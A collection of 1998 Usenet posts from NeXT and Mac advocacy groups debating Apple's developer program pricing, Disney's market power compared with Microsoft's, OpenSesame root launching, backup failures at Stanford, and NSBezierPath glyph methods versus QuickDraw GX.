In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>,
Rex Riley <rr6013@yahoo.com> wrote:
>http://www.mercurynews.com/business/center/stanford09.htm
"technicians had not verified that the files were 'backed up' ..."
They apparently do full dumps once a week, and daily incremental dumps. If
they lost "months" and "years" worth of work, that would mean that
none of the full dumps (I would hope they'd rotate at least 3 sets)
were complete. This shows how important it is to verify that your backup
procedures are actually writing out the data you think is there; doing a
full restore to another drive and verifying that everything is there that
you think should be backed up would be one way of doing this.
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <us5d8eywho8.fsf@ai.mit.edu> <6g53vk$r9p$1@ironhorse.plsys.co.uk> <o7KyEfuRCBOD@cc.usu.edu> <352938B0.614D@nstar.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3529c40c.0@206.25.228.5>
Date: 7 Apr 98 06:13:32 GMT
Michael Peck <mjpeck@nstar.net> wrote:
> root@127.0.0.1 wrote:
> > And if for some reason you just can't stand dropping into a
> > command line, you can always use the OpenSesame Service which
> > allows you to open any application as root. Select the install
> > package in FileViewer, hit the Services->OpenSesame->OpenAsRoot,
> > enter the root password in the panel. Boom! Installer opened
> > as root, install with no problem.
> >
> > Sheesh. If Mr. Peck would spend half as much time reading the
> > docs as he does whining, he might be somewhat productive.
Still, I think Mike's criticism, even if technically not spot on,
is a very valid one. There are a lot of times when you want to
run something as not root, but as another user. You can't do that
via OpenSesame.app (as far as I know, please correct me if I'm
wrong). OpenSesame.app *only* lets you run things as root, or run
things on another machine. So one may only resort to the command
line to launch things as another user (excepting root). There
really should be an easier way.
> That's my name, I didn't catch yours...?
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Date: Wed, 08 Apr 1998 08:58:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0804980858150001@wil77.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
In article <ericb-0704981749520001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <01bc445f$744397e0$1bf0bfa8@davidsul>, "macghod"
> <macghod@concentric.net> wrote:
>
> > WTF is up with the apple developer program? I see a big announcement, and
> > all it is is:
> > 1st level: online stuff, just as it is now, ie NO CHANGE
> > 2nd level: instead of costing $250 a year its now $500 a year??!?!??
> >
> > As far as I can tell it adds nothing and is a 2x increase!! Why to support
> > development apple :)
>
> Agreed. I might have considered getting Rhapsody under the previous
> program. I might be able to scrounge up $250. $500 is out of my price
> range.
>
> I guess they didn't solicit input from graduate students when forming
> their new policies. I'm hardly an important developer for Apple, and am
> not likely to become one, but other people like me might (Aaron Giles
> comes to mind as a recent example). :-|
Actually, there were rumors that there would be a very low price
educational plan. You might want to wait for the educational pricing
before worrying too much.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 08:23:48 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gfc6k$45p$1@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com>
<6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com>
<6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com>
<6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com>
<6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com>
<slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com>
<slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
<trev-0504982024220001@nas-sa-p5.usc.net> <see-below-0604982338260001@209.24.240.118>
<6gejeo$r0i$1@ha2.rdc1.sdca.home.com>
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Cc: rriley@yahoo.com
In <6gejeo$r0i$1@ha2.rdc1.sdca.home.com> Rex Riley claimed:
> That SJ designed NeXTstepOS to run by Optical Disk on 17" B&W monitor
> without a hard-drive as his second GUI OS is historically irrelevent
> but causes me to pause and wonder. The rest of the packaging was
> "before its time"
Oddly however the "physical" package was not - it was Lisa all over again.
Big, no holds barred, and priced itself out of it's target market. I have
little doubt in my mind that had the Stations come out first, NeXT would
still be a going concern on it's own.
> Apple from the position of market "also ran". Gates certainly proved
> his adeptness at succeeding inspite of his product weaknesses.
And perhaps more importantly, exploiting competitor's mindless ramblings in
the market.
> Porsche's aren't for everybody... so too Rhapsody's aren't for just
> anybody. Therein lies one marketing appeal in a marketplace full of
> Oldsmobiles and Model "A"'s. Pride of Ownership will be a continuing
> Apple brand experience from Mac to Rhapsody.
Wel put.
Maury
Message-ID: <352D35D6.E368D52C@am.not.here>
Date: Thu, 09 Apr 1998 13:55:51 -0700
From: Alias <i@am.not.here>
Organization: Nowhere
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
References: <01bc445f$744397e0$1bf0bfa8@davidsul>
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My two bits...
It seems that all the hub-bub is w.r.t. shareware and freeware developers.
Now, I could be wrong, but it seems to me that what Apple is saying is...If you
want to develop commercial software, choose either our select or premier
programs. Otherwise, use an educational institution to gain access to our
products.
macghod wrote:
> WTF is up with the apple developer program? I see a big announcement, and
> all it is is:
> 1st level: online stuff, just as it is now, ie NO CHANGE
> 2nd level: instead of costing $250 a year its now $500 a year??!?!??
>
> As far as I can tell it adds nothing and is a 2x increase!! Why to support
> development apple :)
Date: Tue, 07 Apr 1998 08:02:45 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <joe.ragosta-0704980802450001@wil48.dol.net>
References: <6gbl4j$a821@odie.mcleod.net> <B14F0F85-C8C9@206.165.43.177>
In article <B14F0F85-C8C9@206.165.43.177>, "Lawson English"
<english@primenet.com> wrote:
> Michelle L. Buck <buck.erik@mcleod.net> said:
>
> > The following code adds a method to the NSImage class that enables all
> > images, tiff, gif, eps, whatever to be composited clipped to the outline
> of
> > some arbitrary text in the current font. Text along a path, rotations,
> > different composite modes, etc are obvious and left as an exercise for
> the
> > reader.
> > Now, was that so hard ? A complete test application is available if
> enough
> > people ask for it.
>
> Of course, you have to keep changing the current font, but you guys dont
> care about such issues because DPS is purrrrfect.
>
Nice straw man.
No one ever claimed that DPS was perfect.
But you made one of your patented claims that DPS wouldn't do something.
Michelle showed that it can be done and you go back to your usual insults.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: Thu, 09 Apr 1998 11:52:31 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-0904981152310001@dante.eng.uci.edu>
References: <6f6fpe$lk5@shelob.afs.com> <jayfar-2303981832130001@downtown1-8.slip.netaxs.com> <rmcassid-2403981215280001@dante.eng.uci.edu> <199803300039192097841@sdn-ts-003txhousp07.dialsprint.net> <6fol4e$n21$1@nnrp1.dejanews.com> <rmcassid-3003981259440001@dialin9013.slip.uci.edu> <19980331031822711231@sdn-ts-005txhousp14.dialsprint.net> <rmcassid-3103980921490001@dante.eng.uci.edu> <19980331164046824062@sdn-ts-012txhousp03.dialsprint.net> <rmcassid-3103981617150001@dante.eng.uci.edu> <199804010054202605346@sdn-ts-004txhousp02.dialsprint.net> <rmcassid-0104981103050001@dante.eng.uci.edu> <199804020034221564225@sdn-ts-002txhousp07.dialsprint.net> <rmcassid-0204981111290001@dante.eng.uci.edu> <19980409003643211207@sdn-ts-003txhousp08.dialsprint.net>
In article <19980409003643211207@sdn-ts-003txhousp08.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
>Sorry this took so long to respond to. I thought about just truncating
>the discussion to the essential paragraph about the meaning of the word
>"Microsoft," but as I'd already formed comments to the rest, I figured
>I'd go ahead and post the unabridged edition. I confess I do worry,
>however, when MacSOUP's proportional scrollbar starts to get real small!
I think we've probably put as much into it as it needs.
>Although it's true that the initial film doesn't have to be profitable
>in its theatrical run to make money for a studio, box office success,
>whether for a Disney film or any other film, is very much the
>cornerstone upon which all later profits depend. Weak box office leads
>to weak (or nonexistent) profits.
True. Which means that Disney need not agressively compete through the
whole marketing tier (box office, video, tv, merchandising) if they can
win on the opening weekend. If Disney can rerelease Little Mermaid and
tank Anastasia's opening weekend (which is exactly what happened, and was
planned), then Disney has effectively knocked down the studio that put out
Anastasia, not just in box office receipts but all the way down the line.
Any momentum that that studio might have needed to generate later profits
to cover the films costs has been reduced. And Disney did it at a minimal
cost as a rerelease is a fairly inexpensive thing to do and can be quite
profitable in it's own right.
>Bob Cassidy wrote:
>> Remember that the voice actors for Toy Story must have contributed a lot
>> to the cost as they do for Disney films.
>
>I don't think this is true (hence the Picasso incident). Voice talent
>is not a big budget drain, even top drawer voice talent. The
>astronomical salaries stars command are based on their ability to "open"
>a film, not much of a consideration with animated fare.
Alright.
>I was beginning to surmise as much. When you said "Disney is
>Microsoft," well, to me, "Microsoft" means more than a dominant company
>in its industry. It includes connotations of questionable business
>practices, mediocre products (especially flagship products) with respect
>to the competition, and potential to use its position to eliminate said
>competition as well as control significant portions of its industry and,
>ultimately, critical tools in our lives. I don't think Disney has or
>deserves such connotations. That has been the essence of my argument in
>this thread.
Microsofts position as simply dominant seems to be growing while I think
it's questionable practices are on the decline. Microsoft now has some
very, very, very large industries rather concerned because of a MS entry.
I don't see their entry into online consumer services (carpoint, e-stamp,
etc) as being coercive or questionable practice, but I do think that it is
*highly* unfair given the dominance of Windows and IE. In order for GM to
compete, they essentially need to upend Windows and IE - and that is
totally unreasonable. MS is doing exactly what they need to do. If they
didn't make this expansion they'd be hard pressed to grow further. At the
same time they shouldn't be allowed to make the expansion. They're doing
the right thing for a company and the wrong thing for the industry. Disney
could find themselves in the same spot given time, and are already there
to a degree.
>> That's still really subjective.
>
>Try browsing through some movie guides at the bookstore and see which
>animated films tend to get the highest ratings. BEAUTY AND THE BEAST's
>Oscar nomination for Best Picture is a somewhat objective indicator,
>isn't it?
I'd say so.
>I'm not arguing that popularity
>always equals high quality, of course, but the kind of success these
>films have had is not indicative of something that's largely driven by
>hype. Even though I don't agree, I have to admit that a lot of people
>think TITANIC is very, very good.
Titanic is different actually, because the market for PG feature films is
considerably wider than the market for G feature films. While Titanic has
dozens or hundreds of films to compete with, Disney has only a few. And
the fact that they *do* sometimes bring in such large dollars both at the
box office and in video leaves me at a loss why there isn't much more
attention paid to the market. There are clearly big dollars in OSen and
productivity suites yet I don't see a lot of attention paid there either.
Regardless of the individual reasons why that phenomenom exists, the mere
fact that it does leads me to belive that Disney, in that small market
that Pixar is in, has the same effect as MS.
>> Disney has a knack for getting the characters just *so*, I'll agree.
>
>Man, it's like pulling teeth. ;-)
It's not *that* bad. Of course, this is .advocacy, so it should take a bit
of work! :-)
>> They're stretched a bit thin right now and are having some problems what
>> with Disneylands expansion being so problematic and their cruise line
>> going nowhere fast without a ship.
>
>Although all of this might also depress the stock price, it has nothing
>to do with the animation division's downward box office trend.
I don't know that you can say that for sure. Does the animation division
have to chase profits to offset losses in other areas? Could Disney
temporarily decide to milk the animation division in much the same way
that Steve wants to milk the MacOS to improve profits until things turn
around a bit?
>> So MS has no quality products? And Disney has no poor quality products.
>> Please. I'll give Disney the advantage on quality %, though.
>
>I'm not comparing the totality of Microsoft's product line to that of
>Disney but rather the flagship products of both. (No sense comparing
>NEWSIES to BOB.)
Well, Newsies *did* last longer on the market...
>Disney's flagship product -- the engine of the empire
>-- is animated features, and I contend that it consistently makes the
>highest-quality animated features in its industry. Microsoft's engine
>is operating systems, and I contend that Microsoft does not make the
>highest-quality operating systems in its industry.
Microsoft's engine is its applications. The OS is a foundation layer of
the applications group right now, IMO. Microsofts apps are a bit more
deserving of praise than their OSes.
>> Disney reigns supreme because they have *so* many outlets to leverage for
>> revenue.
>
>I don't think they have so many more than anyone else. OK, Disney can
>sell their stuff in Disney Stores and get a little extra profit, but all
>studios can and do license merchandise to be sold at Wal-Mart, Sears,
>Toys R Us and the like as well as share promotion costs with fast-food
>chains. Any successful film can be sold to the highest bidder at cable
>or a network for more profit. And all end up on video.
Disney has the advantage of taking all the profits themselves, they don't
have to share. They also have their own cable channel. The parks also add
a different presence to things. It's quite remarkable, actually. Disney
has been very effective at attaching an emotion to the 'Disney' name which
allows their products to stand not nearly as much on their individual
merits, but on the company one as well. Apple is much the same way, but
needs work.
>> Even if the film costs as much to make as to gross in the box office, they
>> can still make a hit out of it. Disney can increase costs (not decrease
>> ticket sales) and discourage competition that'll also feel pressured to
>> increase costs.
>
>Yes, they *can,* but they won't -- not to purposely eliminate
>competition, anyway; it's not good business sense.
That doesn't matter. A movie is an investment and that ability to stop a
product represents a risk to the investor. It's the same reason why nobody
will go up against MS, even when nobody knows how MS would react. The mere
fact that they can stop the product in it's tracks is enough to cause
backers to go elsewhere.
Disney is huge and needs to stay huge and even to grow at a modest pace to
support shareholders. I wouldn't bet against them doing whatever they need
to maintain that position. Past history doesn't apply.
>> Titanic has raised the bar on what a studio will feel compelled to spend
>> on the next blockbuster. It's a shame really. The studios are going to
>> have a hard time of it, I think.
>
>This is true, but Fox and Paramount didn't really *want* to spend all
>that money. TITANIC turned out to be a bigger roll of the dice than
>either studio had planned on. Luckily (or not), they didn't go down
>with the ship.
I know they didn't want to spend it, but now that it is spent, and
returned so nicely, the next guy to ask for $100M has a hell of a better
chance of getting it than 6 months ago. Will the studios be able to
support a lot of cheap films, or just fund a few outragously expensive
blockbusters. Their most recent memory will be 'big budget led to big
dollars'. If the next one tanks, the trend might reverse.
>Except, as I noted previously, other studios *do* try to compete with
>Disney. Pixar isn't really a full-fledged studio, either, as they must
>rely on someone else for distribution (as do all independent production
>companies).
And other companies *do* try to compete with MS. That doesn't change
things. Is there as much competition as the market should tolerate? I
don't know, I don't think so.
>> And how successful have they been?
>
>Despite Fox's disappointment with ANASTASIA, it was at least a moderate
>success. No doubt they learned some things from the process that they
>will improve next time out.
As Apple has been a moderate success? As SGI is? Are they evidence that MS
is not overly dominant in the industry?
>> How long will they continue to do it?
>
>Hard to say. This could be a watershed year for animation what with two
>high profile non-Disney releases on the horizon. BUT I saw a preview of
>the Warner Brothers offering, QUEST FOR CAMELOT, which was rather
>cheesy-looking. And the DreamWorks offering, which will likely be
>head-to-head with A BUG'S LIFE, is a biography of Moses! Maybe THE
>PRINCE OF EGYPT will be wondrous and awe-inspiring (I have a lot of
>faith in Jeffrey Katzenberg), but most industry watchers agree its
>subject matter is a big gamble. And of course, the bugs are so darn
>cute.
So if Quest and Prince don't turn in profits, will WB and DreamWorks persist?
Dreamworks has some nasty low-budget looking film due out here soon so I
don't know what to expect from them. I can't remember the name, but I
remember being surprised to see Dreamworks attached to it. Maybe it was
made with Bill's money...
>> Will they suddenly success or with Disney have to drop the ball first? I
>> think it'll take a screw-up by Disney for it to happen.
>
>Assuming I read you right ;-), all this activity includes the Disney
>entry, MULAN, which as I said before may continue Disney's slide at the
>box office. This could help or hurt the others. Maybe with a surfeit
>of videos in homes, the recent heyday of animated features is over.
That could be too. Hadn't thought of that actually... Hmm...
>> Remember that it doesn't take much to deliver a fatal blow. A film is made
>> or killed in it's first weekend.
>
>Not a good film. Not TITANIC, either. ;-) (Yes, TITANIC was #1 at the
>box office on opening weekend, but there was no guarantee that it would
>remain popular, much less become a phenomenon.) The first weekend
>assesses marketing. The second, word of mouth.
Even a good film. Titanic could be an aberration for so many reasons. But
almost everyone considers the first weekend to be key to a films word of
mouth success. While a good film will stay longer in theaters, perhaps, it
won't have that big ticket surge to move the dollars so high.
>I don't think it's anything like this scientific, though I will concede
>that Disney has some (IMO limited) ability to undercut another studio's
>bang/buck ratio on opening weekend by rereleasing an older film. Still,
>I'm not convinced that if the other studio's film has the right audience
>appeal that Disney's salvo will cause it irreparable harm.
I don't think it is that scientific either, but the thinking is along the
lines that every dollar lost on the first weekend translates to (making up
a number) $3 lost in profits at the end. Regardless of what the real ratio
might be (or even the real model if this is wrong) the movies seem to be
handled as if this were true often enough to consider it to be the
absolute truth.
Disney presence is there, the magnitude is certainly debatable. We'll have
to see if anyone is able to beat Disney at the box office. I can't imagine
that they can hit the animation right 100%.
-Bob Cassidy
From: steve@discoverysoft.com (Steven Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 12:08:12 -0700
Organization: Discovery Software Ltd.
Message-ID: <steve-0904981208120001@oranoco.discoverysoft.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com>
In article <1998040920073876968@dialup-202.def.oleane.com>,
Le_Jax@iName.com (Jacques Foucry) wrote:
>Olivier Gutknecht <gutkneco+news@lirmm.fr> wrote (écrivait) :
>
>> Agreed. The only explanation is that Apple is not interested anymore in
>> small/independant development groups.
>
>Perhaps, but without small/independant developer, no "Super Clock", no
>"Stickies", no new Control Strip...
The recent revisions of NotePad, Scrapbook and Find File, too.
--
Steven Fisher; Discovery Software Ltd.; steve@discoverysoft.com
"Anyone who has never made a mistake has never tried anything new."
-- Albert Einstein
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 98 19:06:37 GMT
Organization: QMS
Message-ID: <6gj676$3qf$2@news01.deltanet.com>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <j-jahnke-0804982141280001@192.168.1.3>
In article <j-jahnke-0804982141280001@192.168.1.3>, j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
>In article <rmcassid-0804981509160001@dante.eng.uci.edu>, rmcassid@uci.edu
>> Of course the counter-argument is that Apple has never been able to really
>> adequately support it's developers due to the low cost of the program.
>> While I'm sure Adobe gets a lot of attention and I get a lot for what I
>> pay, what about the guys in the middle - like Rich Siegal, perhaps. Or
>> Aladdin Sys. The devlopers in the middle could probably handle much more
>> in the way of devloper support and can quite likely afford a modest
>> increase in costs.
>
>Now this is a bunch of bull. Many of us were Associates for one reason and
>one reason only, access to cheaper equipment....
>250 bucks is cheap to send me 20 CD's a year and
>give me early access to new Apple Technology.
Yep. Given that they have to produce the CDs and the seeds anyway,
the marginal cost of sending them to a flock of Associates is fairly
minor.
(The one time I tried to call dev support, it took them three months
to reply. This is one reason I did not try again.)
>What they have done is doubled the price given me a feature I don't and
>probably won't use, taken away the one I do use and didn't even give me a
>choice to get my money back. I would agree with everyone here who supports
>Apple on this decision if they had said. OK, all old Associates it is
>business as usual. Next year however, the price is going to double and you
>are going to get less.
Very well stated. I would not be voting proxies against them, calling
the credit card company to cancel the order, and accusing them of
everything but battery, buggery, and brawling had they either given
me a "quit now for a refund" option, or had they announced that
this was to be the policy on my renewal in March of 1999.
I would think it a foolish move on thier part, but that is a matter of
argument, and they can look at the numbers for renewals and such
to determine at least some of the effect as developer renwals come
up. If it turns out badly, they might be able to recover after only
a bad quarter, instead of having people annoyed and feeling like the
contract was unilaterally altered without warning.
>How much money is Apple saving by keeping me from buying a cheap machine
>this year?
Since I am reconsidering buying any Mac equipment until I see just how
useful my current subscription is, about -$200 for the consumer
machine I was going to buy as a present, and about -$100 for a
development machine for me.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 98 12:07:26 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1526A8E-5D056@207.217.155.85>
References: <6ghdct$3um$1@gaea.omnigroup.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.mac.oop.powerplant,
nntp://news.earthlink.net/comp.sys.mac.programmer.codewarrior,
nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/comp.sys.next.programmer
>I guess they were inconsistent, then - my membership expired late last
>year and I got a letter from Apple saying "we're redoing our developer
>program; meanwhile consider your membership extended for free until we
>complete our changes."
That would be a renew. The example I know of is a new membership.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 12:23:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1526F38-21CEC@206.165.43.139>
References: <9804091908.AA02061@palmer.cca.rockwell.com>
To: "Erik M. Buck" <embuck@palmer.cca.rockwell.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
I take it that this doesn't evoke DPS at some point underneath?
Erik M. Buck <embuck@palmer.cca.rockwell.com> said:
>
> Regarding the Non-PS way of finding glyph bounding boxes and rendering
> the
> shape of a glyph along a path see the following:
>
> NSFont:
>
> - (int)positionsForCompositeSequence:(NSGlyph *)glyphs
> numberOfGlyphs:(int)numGlyphs
> pointArray:(NSPoint *)points
>
> - (NSRect)boundingRectForGlyph:(NSGlyph)aGlyph
>
> - (NSSize)advancementForGlyph:(NSGlyph)aGlyph
>
> and the other glyph methods
>
>
> NSBezierPath:
>
> - (void)appendBezierPathWithGlyph:(NSGlyph)aGlyph inFont:(NSFont *
> )fontObj
>
>
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 12:36:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1527236-2D0E7@206.165.43.139>
References: <B1526F38-21CEC@206.165.43.139>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Erik M. Buck <embuck@palmer.cca.rockwell.com> said:
> >
> > NSBezierPath:
> >
> > - (void)appendBezierPathWithGlyph:(NSGlyph)aGlyph inFont:(NSFont *
> > )fontObj
> >
> >
Hmmm...
THis doesn't look like it would do quite what GX layouts and GX glypnhs do.
When you convert a layout to a glyph, it retains all positional info from
the original formatting of the layout. If you're just appending a glyph
directly, are the same NSText algorithms available to keep formatting the
same?
Remember that GX fonts are "smart" and contain professional-level kerning
info that can take into account capitalized swashes that underline the rest
of the word and other unusual font features. I assume that NSText will be
able to do this too with GX fonts. However, how does the
"appendBezierPathWithGlyph" method handle a fancy capital glyph? Does it
use the NSText algorithms (presumeably using the "smart font" kerning info)
to maintain formatting or does it use some other algorithm?
I also note that there's no style info available separately. Is that
contained in the NSFont object?
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 9 Apr 1998 19:39:42 GMT
Organization: @Home Network
Message-ID: <6gj85u$e04$1@ha2.rdc1.sdca.home.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: peltz@jaka.ece.uiuc.edu
In <6gj2ad$ap4$1@jaka.ece.uiuc.edu> Steve Peltz wrote:
> In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>,
> Rex Riley <rr6013@yahoo.com> wrote:
> >http://www.mercurynews.com/business/center/stanford09.htm
>
> "technicians had not verified that the files were 'backed up' ..."
>
> They apparently do full dumps once a week, and daily incremental dumps.
If
> they lost "months" and "years" worth of work, that would mean that
> none of the full dumps (I would hope they'd rotate at least 3 sets)
> were complete. This shows how important it is to verify that your backup
> procedures are actually writing out the data you think is there; doing a
> full restore to another drive and verifying that everything is there that
> you think should be backed up would be one way of doing this.
>
Yeah, sucks doesn't it that if you are a Windows user you have to go
through all that extra backup procedure. For hapless Stanford BSchool
users, its enough to hate Windows.
-r
Rex Riley
From: trumbull@cs.yale.edu (Ben Trumbull)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 15:44:36 -0400
Organization: Yale University
Message-ID: <trumbull-0904981544360001@net44-223.student.yale.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk>
In article <6gio5m$oop$11@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> No, I don't. I'm quite sure there are a number of hobbyists developing
> worthwhile s/w which I might find useful at some point, however on balance
> reports suggest that the previous system was badly abused and on average
> Apple will have lost revenue through people signing up as developers simply
> to get hardware at reduced prices.
Sorry, but asserting that Apple doesn't make money off the books they sell
to Barnes&Noble and the rest of the Addison&Wesley series to "hobbyist"
developers is absurd. These are the same people who buy OS upgrades and
IM cds and Macintosh computers. And there was a time when Apple actually
sold development software. If Apple isn't making money off these
transactions, raising the price of the dev program isn't going to help
them.
As for the "badly abused" hardware discount program, that's a load of
baloney. I saw the prices and was never once tempted. Apple made money
off every one of those machines and they sure made a lot more money than
if some retailer sold the developer that machine instead of Apple. Which
is exactly what will happen now. Devs will pay retailers for machines,
devs will buy fewer machines overall, and Apple will see smaller margins
overall. Yeah, this is a great solution to Apple's "problem" of selling
more machines and not paying retailers for the priviledge. Let's get this
straight. Apple makes A LOT MORE MONEY when they sell direct. A lot.
The ideas that Apple should "raise the bar" to select against small
developers and this will somehow make the Mac dev community healthier, or
that Apple EVER was "subsidizing" small or independent developers are
absurd. If Apple lost money on selling tons of development
documentations, cds, software, and hardware (true for less, but no
retailer biting into the margins), then frankly the sole reason is because
they couldn't manage their business. Trying to blame people for "abusing"
the dev program is just a bullshit excuse. However, to be fair to Apple,
I haven't actually seen anyone from Apple make that argument, just people
desperate to defend the policy changes.
terminally curious,
Ben
___________________________________________________________________
Benjamin Trumbull
trumbull@cs.yale.edu
Yale University
You can't be in hell; you can still read your e-mail
From: don_arb@wolfenet.com (Don Arbow)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 12:05:01 -0700
Organization: EveryDay Objects, Inc.
Message-ID: <don_arb-0904981205010001@sea-ts1-p14.wolfenet.com>
